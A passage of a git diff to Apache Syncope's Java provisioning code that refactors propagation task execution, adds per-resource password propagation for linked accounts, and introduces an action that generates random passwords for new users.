outboundMatcher, - final PlainAttrValidationManager validator) { + final PlainAttrValidationManager validator, + final ApplicationEventPublisher publisher) { this.connectorManager = connectorManager; this.connObjectUtils = connObjectUtils; - this.userDAO = userDAO; - this.groupDAO = groupDAO; - this.anyObjectDAO = anyObjectDAO; this.taskDAO = taskDAO; this.resourceDAO = resourceDAO; this.plainSchemaDAO = plainSchemaDAO; @@ -163,6 +156,7 @@ public AbstractPropagationTaskExecutor( this.taskUtilsFactory = taskUtilsFactory; this.outboundMatcher = outboundMatcher; this.validator = validator; + this.publisher = publisher; } @Override @@ -187,38 +181,87 @@ protected List getPropagationActions(final ExternalResource return result; } + protected void checkMandatoryMissing( + final PropagationTaskInfo taskInfo, + final Set attrs, + final boolean enablePasswordCheck) { + + // check if there is any missing or null / empty mandatory attribute + Set mandatoryAttrNames = new HashSet<>(); + Optional.ofNullable(AttributeUtil.find(PropagationManager.MANDATORY_MISSING_ATTR_NAME, attrs)). + ifPresent(missing -> { + attrs.remove(missing); + + if (taskInfo.getOperation() == ResourceOperation.CREATE) { + // SYNCOPE-1751 remove __PASSWORD__ if enablePasswordCheck is false, this is needed to support + // LinkedAccount update propagation without password + mandatoryAttrNames.addAll(enablePasswordCheck + ? missing.getValue() + : missing.getValue().stream(). + filter(v -> !OperationalAttributes.PASSWORD_NAME.equals(v)). + collect(Collectors.toList())); + } + }); + Optional.ofNullable(AttributeUtil.find(PropagationManager.MANDATORY_NULL_OR_EMPTY_ATTR_NAME, attrs)). + ifPresent(nullOrEmpty -> { + attrs.remove(nullOrEmpty); + + mandatoryAttrNames.addAll(nullOrEmpty.getValue()); + }); + if (!mandatoryAttrNames.isEmpty()) { + throw new IllegalArgumentException( + "Not attempted because there are mandatory attributes without value(s): " + mandatoryAttrNames); + } + } + protected Uid doCreate( final PropagationTaskInfo taskInfo, - final Set attributes, final Connector connector, final AtomicReference propagationAttempted) { - LOG.debug("Create {} on {}", attributes, taskInfo.getResource().getKey()); + Set attrs = taskInfo.getPropagationData().getAttributes(); - Uid result = connector.create(taskInfo.getObjectClass(), attributes, null, propagationAttempted); + checkMandatoryMissing(taskInfo, attrs, true); + + LOG.debug("Create {} on {}", attrs, taskInfo.getResource().getKey()); + + Uid result = connector.create(taskInfo.getObjectClass(), attrs, null, propagationAttempted); taskInfo.getResource().getProvisionByAnyType(taskInfo.getAnyType()). filter(provision -> provision.getUidOnCreate() != null). - ifPresent(provision -> anyUtilsFactory.getInstance(taskInfo.getAnyTypeKind()).addAttr( - validator, - taskInfo.getEntityKey(), - plainSchemaDAO.find(provision.getUidOnCreate()), - result.getUidValue())); + ifPresent(provision -> { + LOG.debug("Adding uidOnCreate [{}] attribute to [{}] on create", provision.getUidOnCreate(), + taskInfo.getEntityKey()); + AnyUtils anyUtils = anyUtilsFactory.getInstance(taskInfo.getAnyTypeKind()); + anyUtils.addAttr( + validator, + taskInfo.getEntityKey(), + plainSchemaDAO.find(provision.getUidOnCreate()), + result.getUidValue()); + publisher.publishEvent(new EntityLifecycleEvent<>( + this, + SyncDeltaType.UPDATE, + anyUtils.dao().find(taskInfo.getEntityKey()), + AuthContextUtils.getDomain())); + }); return result; } protected Uid doUpdate( final PropagationTaskInfo taskInfo, - final Set attributes, final Connector connector, final ConnectorObject beforeObj, final AtomicReference propagationAttempted) { - LOG.debug("Update {} on {}", attributes, taskInfo.getResource().getKey()); + Set attrs = taskInfo.getPropagationData().getAttributes(); + + checkMandatoryMissing(taskInfo, attrs, false); + + LOG.debug("Update {} on {}", attrs, taskInfo.getResource().getKey()); // 1. check if rename is really required - Name newName = AttributeUtil.getNameFromAttributes(attributes); + Name newName = AttributeUtil.getNameFromAttributes(attrs); LOG.debug("Rename required with value {}", newName); @@ -227,7 +270,7 @@ protected Uid doUpdate( && !newName.getNameValue().equals(beforeObj.getUid().getUidValue())) { LOG.debug("Remote object name unchanged"); - attributes.remove(newName); + attrs.remove(newName); } // 2. check whether anything is actually needing to be propagated, i.e. if there is attribute @@ -236,7 +279,7 @@ protected Uid doUpdate( if (beforeObj != null) { originalAttrMap = beforeObj.getAttributes().stream(). collect(Collectors.toMap(attr -> attr.getName().toUpperCase(), Function.identity())); - Map updateAttrMap = attributes.stream(). + Map updateAttrMap = attrs.stream(). collect(Collectors.toMap(attr -> attr.getName().toUpperCase(), Function.identity())); // Only compare attribute from beforeObj that are also being updated @@ -244,14 +287,14 @@ protected Uid doUpdate( } Uid result; - if (!originalAttrMap.isEmpty() && originalAttrMap.values().equals(attributes)) { - LOG.debug("Don't need to propagate anything: {} is equal to {}", originalAttrMap.values(), attributes); - result = AttributeUtil.getUidAttribute(attributes); + if (!originalAttrMap.isEmpty() && originalAttrMap.values().equals(attrs)) { + LOG.debug("Don't need to propagate anything: {} is equal to {}", originalAttrMap.values(), attrs); + result = AttributeUtil.getUidAttribute(attrs); } else { - LOG.debug("Attributes to update: {}", attributes); + LOG.debug("Attributes to update: {}", attrs); // 3. provision entry - LOG.debug("Update {} on {}", attributes, taskInfo.getResource().getKey()); + LOG.debug("Update {} on {}", attrs, taskInfo.getResource().getKey()); result = connector.update( Optional.ofNullable(beforeObj). @@ -261,7 +304,7 @@ protected Uid doUpdate( map(ConnectorObject::getUid). orElseGet(() -> new Uid(taskInfo.getOldConnObjectKey() == null ? taskInfo.getConnObjectKey() : taskInfo.getOldConnObjectKey())), - attributes, + attrs, null, propagationAttempted); } @@ -277,14 +320,18 @@ protected Uid doUpdateDelta( Uid uid = new Uid(taskInfo.getConnObjectKey()); - LOG.debug("Update Delta {} for {} on {}", modifications, uid, taskInfo.getResource().getKey()); + if (modifications.isEmpty()) { + LOG.debug("Nothing to modify for {} on {}", uid, taskInfo.getResource().getKey()); + } else { + LOG.debug("Update Delta {} for {} on {}", modifications, uid, taskInfo.getResource().getKey()); - connector.updateDelta( - taskInfo.getObjectClass(), - uid, - modifications, - null, - propagationAttempted); + connector.updateDelta( + taskInfo.getObjectClass(), + uid, + modifications, + null, + propagationAttempted); + } return uid; } @@ -299,38 +346,15 @@ protected Uid createOrUpdate( PropagationData propagationData = taskInfo.getPropagationData(); if (propagationData.getAttributeDeltas() == null) { - Set attrs = propagationData.getAttributes(); - - // check if there is any missing or null / empty mandatory attribute - Set mandatoryAttrNames = new HashSet<>(); - Optional.ofNullable(AttributeUtil.find(PropagationManager.MANDATORY_MISSING_ATTR_NAME, attrs)). - ifPresent(missing -> { - attrs.remove(missing); - - if (taskInfo.getOperation() == ResourceOperation.CREATE) { - mandatoryAttrNames.addAll(missing.getValue()); - } - }); - Optional.ofNullable(AttributeUtil.find(PropagationManager.MANDATORY_NULL_OR_EMPTY_ATTR_NAME, attrs)). - ifPresent(nullOrEmpty -> { - attrs.remove(nullOrEmpty); - - mandatoryAttrNames.addAll(nullOrEmpty.getValue()); - }); - if (!mandatoryAttrNames.isEmpty()) { - throw new IllegalArgumentException( - "Not attempted because there are mandatory attributes without value(s): " + mandatoryAttrNames); - } - if (beforeObj != null) { - return doUpdate(taskInfo, attrs, connector, beforeObj, propagationAttempted); + return doUpdate(taskInfo, connector, beforeObj, propagationAttempted); } if (fetchRemoteObj || taskInfo.getOperation() == ResourceOperation.CREATE) { - return doCreate(taskInfo, attrs, connector, propagationAttempted); + return doCreate(taskInfo, connector, propagationAttempted); } - return doUpdate(taskInfo, attrs, connector, beforeObj, propagationAttempted); + return doUpdate(taskInfo, connector, beforeObj, propagationAttempted); } return doUpdateDelta(taskInfo, propagationData.getAttributeDeltas(), connector, propagationAttempted); @@ -344,6 +368,7 @@ protected Uid delete( final AtomicReference propagationAttempted) { Uid result; + if (fetchRemoteObj && beforeObj == null) { LOG.debug("{} not found on {}: ignoring delete", taskInfo.getConnObjectKey(), taskInfo.getResource().getKey()); @@ -360,6 +385,18 @@ protected Uid delete( connector.delete(objectClass, uid, null, propagationAttempted); result = uid; + taskInfo.getResource().getProvisionByAnyType(taskInfo.getAnyType()). + filter(provision -> provision.getUidOnCreate() != null). + ifPresent(provision -> { + LOG.debug("Removing uidOnCreate [{}] attribute from [{}] on delete", + provision.getUidOnCreate(), taskInfo.getEntityKey()); + AnyUtils anyUtils = anyUtilsFactory.getInstance(taskInfo.getAnyTypeKind()); + anyUtils.removeAttr(taskInfo.getEntityKey(), plainSchemaDAO.find(provision.getUidOnCreate())); + publisher.publishEvent(new EntityLifecycleEvent<>(this, + SyncDeltaType.UPDATE, + anyUtils.dao().find(taskInfo.getEntityKey()), + AuthContextUtils.getDomain())); + }); } return result; @@ -529,9 +566,7 @@ protected TaskExec doExecute( beforeObj = taskInfo.getBeforeObj().get(); } - for (PropagationActions action : actions) { - action.before(taskInfo); - } + actions.forEach(action -> action.before(taskInfo)); switch (taskInfo.getOperation()) { case CREATE: @@ -623,7 +658,7 @@ protected TaskExec doExecute( exec.setTask(task); task.add(exec); - taskDAO.save(task); + taskInfo.setKey(taskDAO.save(task).getKey()); }); String fiql = provision == null @@ -728,12 +763,11 @@ protected TaskExec rejected( protected Optional hasToBeregistered( final PropagationTaskInfo taskInfo, final TaskExec execution) { - boolean result; - boolean failed = ExecStatus.valueOf(execution.getStatus()) != ExecStatus.SUCCESS; ExternalResource resource = taskInfo.getResource(); + boolean result; switch (taskInfo.getOperation()) { case CREATE: @@ -759,15 +793,20 @@ protected Optional hasToBeregistered( return Optional.empty(); } - PropagationTask task = taskUtilsFactory.getInstance(TaskType.PROPAGATION).newTask(); - task.setResource(resourceDAO.find(resource.getKey())); - task.setObjectClassName(taskInfo.getObjectClass().getObjectClassValue()); - task.setAnyTypeKind(taskInfo.getAnyTypeKind()); - task.setAnyType(taskInfo.getAnyType()); - task.setEntityKey(taskInfo.getEntityKey()); - task.setOperation(taskInfo.getOperation()); - task.setConnObjectKey(taskInfo.getConnObjectKey()); - task.setOldConnObjectKey(taskInfo.getOldConnObjectKey()); + PropagationTask task = Optional.ofNullable(taskInfo.getKey()). + map(key -> taskDAO.find(TaskType.PROPAGATION, key)). + orElseGet(() -> { + PropagationTask t = taskUtilsFactory.getInstance(TaskType.PROPAGATION).newTask(); + t.setResource(resourceDAO.find(resource.getKey())); + t.setObjectClassName(taskInfo.getObjectClass().getObjectClassValue()); + t.setAnyTypeKind(taskInfo.getAnyTypeKind()); + t.setAnyType(taskInfo.getAnyType()); + t.setEntityKey(taskInfo.getEntityKey()); + t.setOperation(taskInfo.getOperation()); + t.setConnObjectKey(taskInfo.getConnObjectKey()); + t.setOldConnObjectKey(taskInfo.getOldConnObjectKey()); + return t; + }); task.setPropagationData(taskInfo.getPropagationData()); return Optional.of(task); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DBPasswordPropagationActions.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DBPasswordPropagationActions.java index e36a73ee457..6deb8cc09f2 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DBPasswordPropagationActions.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DBPasswordPropagationActions.java @@ -58,9 +58,7 @@ protected String getCipherAlgorithm(final ConnInstance connInstance) { filter(property -> "cipherAlgorithm".equals(property.getSchema().getName()) && property.getValues() != null && !property.getValues().isEmpty()).findFirst(); - return cipherAlgorithm.isPresent() - ? (String) cipherAlgorithm.get().getValues().get(0) - : CLEARTEXT; + return cipherAlgorithm.map(a -> (String) a.getValues().get(0)).orElse(CLEARTEXT); } protected boolean cipherAlgorithmMatches(final String connectorAlgorithm, final CipherAlgorithm userAlgorithm) { diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DefaultPropagationManager.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DefaultPropagationManager.java index 4b158faf6a8..a4c75fc8b1b 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DefaultPropagationManager.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/DefaultPropagationManager.java @@ -31,14 +31,16 @@ import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.Attr; -import org.apache.syncope.common.lib.request.AbstractPatchItem; import org.apache.syncope.common.lib.request.AnyUR; +import org.apache.syncope.common.lib.request.LinkedAccountUR; import org.apache.syncope.common.lib.request.PasswordPatch; import org.apache.syncope.common.lib.request.UserUR; import org.apache.syncope.common.lib.to.Item; +import org.apache.syncope.common.lib.to.LinkedAccountTO; import org.apache.syncope.common.lib.to.OrgUnit; import org.apache.syncope.common.lib.to.Provision; import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.common.lib.types.PatchOperation; import org.apache.syncope.common.lib.types.ResourceOperation; import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; import org.apache.syncope.core.persistence.api.dao.VirSchemaDAO; @@ -168,6 +170,7 @@ protected List getCreateTasks( return List.of(); } + List changePwdRes = new ArrayList<>(); if (excludedResources != null) { if (propByRes != null) { propByRes.get(ResourceOperation.CREATE).removeAll(excludedResources); @@ -179,14 +182,21 @@ protected List getCreateTasks( } } - return createTasks(any, password, true, enable, propByRes, propByLinkedAccount, vAttrs); + if (propByRes != null) { + propByRes.asMap().forEach((resource, resourceOperation) -> changePwdRes.add(resource)); + } + if (propByLinkedAccount != null) { + propByLinkedAccount.asMap().forEach((resource, resourceOperation) -> changePwdRes.add(resource.getKey())); + } + return createTasks(any, password, changePwdRes, enable, propByRes, propByLinkedAccount, vAttrs); } @Override public List getUpdateTasks( + final AnyUR anyUR, final AnyTypeKind kind, final String key, - final boolean changePwd, + final List changePwdRes, final Boolean enable, final PropagationByResource propByRes, final PropagationByResource> propByLinkedAccount, @@ -194,9 +204,10 @@ public List getUpdateTasks( final Collection excludedResources) { return getUpdateTasks( + anyUR, anyUtilsFactory.getInstance(kind).dao().authFind(key), null, - changePwd, + changePwdRes, enable, propByRes, propByLinkedAccount, @@ -207,14 +218,15 @@ public List getUpdateTasks( @Override public List getUserUpdateTasks( final UserWorkflowResult> wfResult, - final boolean changePwd, + final List changePwdRes, final Collection excludedResources) { return getUpdateTasks( + wfResult.getResult().getLeft(), anyUtilsFactory.getInstance(AnyTypeKind.USER).dao().authFind(wfResult.getResult().getLeft().getKey()), Optional.ofNullable(wfResult.getResult().getLeft().getPassword()). map(PasswordPatch::getValue).orElse(null), - changePwd, + changePwdRes, wfResult.getResult().getRight(), wfResult.getPropByRes(), wfResult.getPropByLinkedAccount(), @@ -226,60 +238,79 @@ public List getUserUpdateTasks( public List getUserUpdateTasks(final UserWorkflowResult> wfResult) { UserUR userUR = wfResult.getResult().getLeft(); + List urPwdResources = userUR.getPassword() == null + ? List.of() + : userUR.getPassword().getResources().stream(). + distinct().collect(Collectors.toList()); + + List laPwdResources = userUR.getLinkedAccounts().stream(). + filter(laur -> laur.getOperation() == PatchOperation.ADD_REPLACE). + map(LinkedAccountUR::getLinkedAccountTO). + filter(la -> la != null && la.getPassword() != null). + map(LinkedAccountTO::getResource). + distinct().collect(Collectors.toList()); + + List pwdResources = Stream.concat(urPwdResources.stream(), laPwdResources.stream()). + distinct().collect(Collectors.toList()); + // Propagate password update only to requested resources List tasks; - if (userUR.getPassword() == null) { + if (pwdResources.isEmpty()) { // a. no specific password propagation request: generate propagation tasks for any resource associated - tasks = getUserUpdateTasks(wfResult, false, null); + tasks = getUserUpdateTasks(wfResult, List.of(), null); } else { + // b. generate the propagation task list in two phases: first the ones with no password, then the others tasks = new ArrayList<>(); - // b. generate the propagation task list in two phases: first the ones containing password, - // then the rest (with no password) - UserWorkflowResult> pwdWFResult = new UserWorkflowResult<>( - wfResult.getResult(), - new PropagationByResource<>(), - wfResult.getPropByLinkedAccount(), - wfResult.getPerformedTasks()); - - Set pwdResourceNames = new HashSet<>(userUR.getPassword().getResources()); - Collection allResourceNames = anyUtilsFactory.getInstance(AnyTypeKind.USER). - dao().findAllResourceKeys(userUR.getKey()); - pwdResourceNames.retainAll(allResourceNames); - - pwdWFResult.getPropByRes().addAll(ResourceOperation.UPDATE, pwdResourceNames); - if (!pwdWFResult.getPropByRes().isEmpty()) { - Set toBeExcluded = new HashSet<>(allResourceNames); - toBeExcluded.addAll(userUR.getResources().stream(). - map(AbstractPatchItem::getValue).collect(Collectors.toList())); - toBeExcluded.removeAll(pwdResourceNames); - - tasks.addAll(getUserUpdateTasks(pwdWFResult, true, toBeExcluded)); - } + PropagationByResource urNoPwdPropByRes = new PropagationByResource<>(); + urNoPwdPropByRes.merge(wfResult.getPropByRes()); + urNoPwdPropByRes.purge(); + urNoPwdPropByRes.removeAll(urPwdResources); + + PropagationByResource> laNoPwdPropByRes = new PropagationByResource<>(); + laNoPwdPropByRes.merge(wfResult.getPropByLinkedAccount()); + laNoPwdPropByRes.purge(); + laNoPwdPropByRes.removeIf(p -> laPwdResources.contains(p.getLeft())); - UserWorkflowResult> noPwdWFResult = new UserWorkflowResult<>( - wfResult.getResult(), - new PropagationByResource<>(), - new PropagationByResource<>(), - wfResult.getPerformedTasks()); - - noPwdWFResult.getPropByRes().merge(wfResult.getPropByRes()); - noPwdWFResult.getPropByRes().removeAll(pwdResourceNames); - noPwdWFResult.getPropByRes().purge(); - if (!noPwdWFResult.getPropByRes().isEmpty()) { - tasks.addAll(getUserUpdateTasks(noPwdWFResult, false, pwdResourceNames)); + if (!urNoPwdPropByRes.isEmpty() || !laNoPwdPropByRes.isEmpty()) { + UserWorkflowResult> noPwdWFResult = new UserWorkflowResult<>( + wfResult.getResult(), + urNoPwdPropByRes, + laNoPwdPropByRes, + wfResult.getPerformedTasks()); + + tasks.addAll(getUserUpdateTasks(noPwdWFResult, List.of(), null)); } - tasks = tasks.stream().distinct().collect(Collectors.toList()); + PropagationByResource urPwdPropByRes = new PropagationByResource<>(); + urPwdPropByRes.merge(wfResult.getPropByRes()); + urPwdPropByRes.purge(); + urPwdPropByRes.retainAll(urPwdResources); + + PropagationByResource> laPwdPropByRes = new PropagationByResource<>(); + laPwdPropByRes.merge(wfResult.getPropByLinkedAccount()); + laPwdPropByRes.purge(); + laPwdPropByRes.removeIf(p -> !laPwdResources.contains(p.getLeft())); + + if (!urPwdPropByRes.isEmpty() || !laPwdPropByRes.isEmpty()) { + UserWorkflowResult> pwdWFResult = new UserWorkflowResult<>( + wfResult.getResult(), + urPwdPropByRes, + laPwdPropByRes, + wfResult.getPerformedTasks()); + + tasks.addAll(getUserUpdateTasks(pwdWFResult, pwdResources, null)); + } } return tasks; } protected List getUpdateTasks( + final AnyUR anyUR, final Any any, final String password, - final boolean changePwd, + final List changePwdRes, final Boolean enable, final PropagationByResource propByRes, final PropagationByResource> propByLinkedAccount, @@ -301,14 +332,16 @@ protected List getUpdateTasks( } } - return createTasks( + List tasks = createTasks( any, password, - changePwd, + changePwdRes, enable, Optional.ofNullable(propByRes).orElseGet(PropagationByResource::new), propByLinkedAccount, vAttrs); + tasks.forEach(task -> task.setUpdateRequest(anyUR)); + return tasks; } @Override @@ -353,7 +386,7 @@ protected List getDeleteTasks( } } - return createTasks(any, null, false, false, localPropByRes, propByLinkedAccount, null); + return createTasks(any, null, List.of(), false, localPropByRes, propByLinkedAccount, null); } @Override @@ -406,7 +439,7 @@ public PropagationTaskInfo newTask( * * @param any to be provisioned * @param password clear text password to be provisioned - * @param changePwd whether password should be included for propagation attributes or not + * @param changePwdRes the resources in which the password must be included in the propagation attributes * @param enable whether user must be enabled or not * @param propByRes operation to be performed per resource * @param propByLinkedAccount operation to be performed on linked accounts @@ -416,7 +449,7 @@ public PropagationTaskInfo newTask( protected List createTasks( final Any any, final String password, - final boolean changePwd, + final List changePwdRes, final Boolean enable, final PropagationByResource propByRes, final PropagationByResource> propByLinkedAccount, @@ -483,7 +516,8 @@ protected List createTasks( any.getType(), resource); } else { Pair> preparedAttrs = - mappingManager.prepareAttrsFromAny(any, password, changePwd, enable, resource, provision); + mappingManager.prepareAttrsFromAny(any, password, changePwdRes.contains(resourceKey), + enable, resource, provision); if (vAttrMap.containsKey(resourceKey)) { preparedAttrs.getRight().addAll(vAttrMap.get(resourceKey)); } @@ -540,7 +574,9 @@ protected List createTasks( mappingItems, Pair.of(account.getConnObjectKeyValue(), mappingManager.prepareAttrsFromLinkedAccount( - user, account, password, true, provision))); + user, account, password, + changePwdRes.contains(account.getResource().getKey()), + provision))); tasks.add(accountTask); LOG.debug("PropagationTask created for Linked Account {}: {}", @@ -604,13 +640,14 @@ public List createTasks( return tasks; } - @Transactional(readOnly = true, propagation = Propagation.REQUIRES_NEW) + @Transactional(readOnly = true, + propagation = Propagation.REQUIRES_NEW) @Override public Map, Set> prepareAttrs( final AnyTypeKind kind, final String key, final String password, - final boolean changePwd, + final List changePwdRes, final Boolean enable, final Collection excludedResources) { @@ -627,7 +664,7 @@ public Map, Set> prepareAttrs( Pair> preparedAttrs = mappingManager.prepareAttrsFromAny( any, password, - changePwd, + changePwdRes.contains(resource.getKey()), enable, resource, resource.getProvisionByAnyType(any.getType().getKey()).get()); @@ -659,7 +696,8 @@ public Map, Set> prepareAttrs( return attrs; } - @Transactional(readOnly = true, propagation = Propagation.REQUIRES_NEW) + @Transactional(readOnly = true, + propagation = Propagation.REQUIRES_NEW) @Override public Map, Set> prepareAttrs(final Realm realm) { Map, Set> attrs = new HashMap<>(); @@ -693,8 +731,7 @@ protected boolean isOrdinaryForAttrForDelta(final Attribute attr) { @Override public List setAttributeDeltas( final List tasks, - final Map, Set> beforeAttrs, - final AnyUR updateRequest) { + final Map, Set> beforeAttrs) { if (beforeAttrs.isEmpty()) { return tasks; @@ -783,7 +820,6 @@ public List setAttributeDeltas( if (!attributeDeltas.isEmpty()) { propagationData.setAttributeDeltas(attributeDeltas); - task.setUpdateRequest(updateRequest); } } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/GenerateRandomPasswordPropagationActions.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/GenerateRandomPasswordPropagationActions.java new file mode 100644 index 00000000000..b228ae67a99 --- /dev/null +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/GenerateRandomPasswordPropagationActions.java @@ -0,0 +1,88 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.provisioning.java.propagation; + +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; +import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.core.persistence.api.dao.RealmDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.provisioning.api.propagation.PropagationActions; +import org.apache.syncope.core.provisioning.api.propagation.PropagationManager; +import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskInfo; +import org.apache.syncope.core.spring.implementation.InstanceScope; +import org.apache.syncope.core.spring.implementation.SyncopeImplementation; +import org.apache.syncope.core.spring.security.PasswordGenerator; +import org.identityconnectors.framework.common.objects.Attribute; +import org.identityconnectors.framework.common.objects.AttributeBuilder; +import org.identityconnectors.framework.common.objects.AttributeUtil; +import org.identityconnectors.framework.common.objects.OperationalAttributes; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.transaction.annotation.Transactional; + +@SyncopeImplementation(scope = InstanceScope.PER_CONTEXT) +public class GenerateRandomPasswordPropagationActions implements PropagationActions { + + protected static final Logger LOG = LoggerFactory.getLogger(GenerateRandomPasswordPropagationActions.class); + + @Autowired + protected UserDAO userDAO; + + @Autowired + protected RealmDAO realmDAO; + + @Autowired + protected PasswordGenerator passwordGenerator; + + protected boolean generateRandomPassword(final PropagationTaskInfo taskInfo) { + return AnyTypeKind.USER == taskInfo.getAnyTypeKind() + && taskInfo.getBeforeObj().isEmpty() + && AttributeUtil.getPasswordValue(taskInfo.getPropagationData().getAttributes()) == null; + } + + @Transactional(readOnly = true) + @Override + public void before(final PropagationTaskInfo taskInfo) { + if (generateRandomPassword(taskInfo)) { + Set attrs = taskInfo.getPropagationData().getAttributes(); + + // generate random password + attrs.add(AttributeBuilder.buildPassword(passwordGenerator.generate( + taskInfo.getResource(), + realmDAO.findAncestors(userDAO.find(taskInfo.getEntityKey()).getRealm())).toCharArray())); + + // remove __PASSWORD__ from MANDATORY_MISSING attribute + Optional.ofNullable(AttributeUtil.find(PropagationManager.MANDATORY_MISSING_ATTR_NAME, attrs)). + ifPresent(mandatoryMissing -> { + attrs.remove(mandatoryMissing); + + Set newMandatoryMissing = mandatoryMissing.getValue().stream(). + filter(v -> !OperationalAttributes.PASSWORD_NAME.equals(v)). + collect(Collectors.toSet()); + if (!newMandatoryMissing.isEmpty()) { + attrs.add(AttributeBuilder.build( + PropagationManager.MANDATORY_MISSING_ATTR_NAME, newMandatoryMissing)); + } + }); + } + } +} diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPMembershipPropagationActions.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPMembershipPropagationActions.java index 2a0cd1297ec..e0d1e7a9f6c 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPMembershipPropagationActions.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/LDAPMembershipPropagationActions.java @@ -91,7 +91,7 @@ protected String evaluateGroupConnObjectLink(final String connObjectLinkTemplate JexlUtils.addPlainAttrsToContext(group.getPlainAttrs(), jexlContext); JexlUtils.addDerAttrsToContext(group, derAttrHandler, jexlContext); - return JexlUtils.evaluate(connObjectLinkTemplate, jexlContext).toString(); + return JexlUtils.evaluateExpr(connObjectLinkTemplate, jexlContext).toString(); } protected void buildManagedGroupConnObjectLinks( @@ -110,9 +110,9 @@ public void before(final PropagationTaskInfo taskInfo) { return; } - Optional groupProvision = taskInfo.getResource().getProvisionByAnyType(AnyTypeKind.GROUP.name()); - if (groupProvision.isPresent() && groupProvision.get().getMapping() != null - && StringUtils.isNotBlank(groupProvision.get().getMapping().getConnObjectLink())) { + taskInfo.getResource().getProvisionByAnyType(AnyTypeKind.GROUP.name()). + map(Provision::getMapping). + filter(mapping -> StringUtils.isNotBlank(mapping.getConnObjectLink())).ifPresentOrElse(mapping -> { User user = userDAO.find(taskInfo.getEntityKey()); Set groups = new HashSet<>(); @@ -124,7 +124,7 @@ public void before(final PropagationTaskInfo taskInfo) { filter(group -> group.getResources().contains(taskInfo.getResource())). forEach(group -> { String groupConnObjectLink = evaluateGroupConnObjectLink( - groupProvision.get().getMapping().getConnObjectLink(), group); + mapping.getConnObjectLink(), group); LOG.debug("ConnObjectLink for {} is '{}'", group, groupConnObjectLink); if (StringUtils.isNotBlank(groupConnObjectLink)) { @@ -153,7 +153,7 @@ public void before(final PropagationTaskInfo taskInfo) { Set connObjectLinks = new TreeSet<>(String.CASE_INSENSITIVE_ORDER); buildManagedGroupConnObjectLinks( taskInfo.getResource(), - groupProvision.get().getMapping().getConnObjectLink(), + mapping.getConnObjectLink(), connObjectLinks); LOG.debug("Memberships not managed by Syncope: {}", beforeLdapGroups); @@ -172,7 +172,7 @@ public void before(final PropagationTaskInfo taskInfo) { // if groups were added or removed by last update, compute and add the group's connector object link for (MembershipUR memb : ((UserUR) taskInfo.getUpdateRequest()).getMemberships()) { String connObjectLink = evaluateGroupConnObjectLink( - groupProvision.get().getMapping().getConnObjectLink(), + mapping.getConnObjectLink(), groupDAO.find(memb.getGroup())); if (memb.getOperation() == PatchOperation.ADD_REPLACE) { groupsToAdd.add(connObjectLink); @@ -197,11 +197,10 @@ public void before(final PropagationTaskInfo taskInfo) { LOG.debug("Adding Group connObjectLinks to attribute deltas: {}={},{}", getGroupMembershipAttrName(), groupsToAdd, groupsToRemove); data.getAttributeDeltas().add( - AttributeDeltaBuilder.build(getGroupMembershipAttrName(), groupsToAdd, groupsToRemove)); + AttributeDeltaBuilder.build(getGroupMembershipAttrName(), groupsToAdd, + groupsToRemove)); } } - } else { - LOG.debug("Not about user, or group mapping missing for resource: not doing anything"); - } + }, () -> LOG.debug("Not about user, or group mapping missing for resource: not doing anything")); } } diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/PriorityPropagationTaskExecutor.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/PriorityPropagationTaskExecutor.java index 049385689c5..d432d72c2e9 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/PriorityPropagationTaskExecutor.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/propagation/PriorityPropagationTaskExecutor.java @@ -29,12 +29,9 @@ import java.util.stream.Collectors; import org.apache.syncope.common.lib.types.ExecStatus; import org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValidationManager; -import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; -import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; import org.apache.syncope.core.persistence.api.dao.TaskDAO; -import org.apache.syncope.core.persistence.api.dao.UserDAO; import 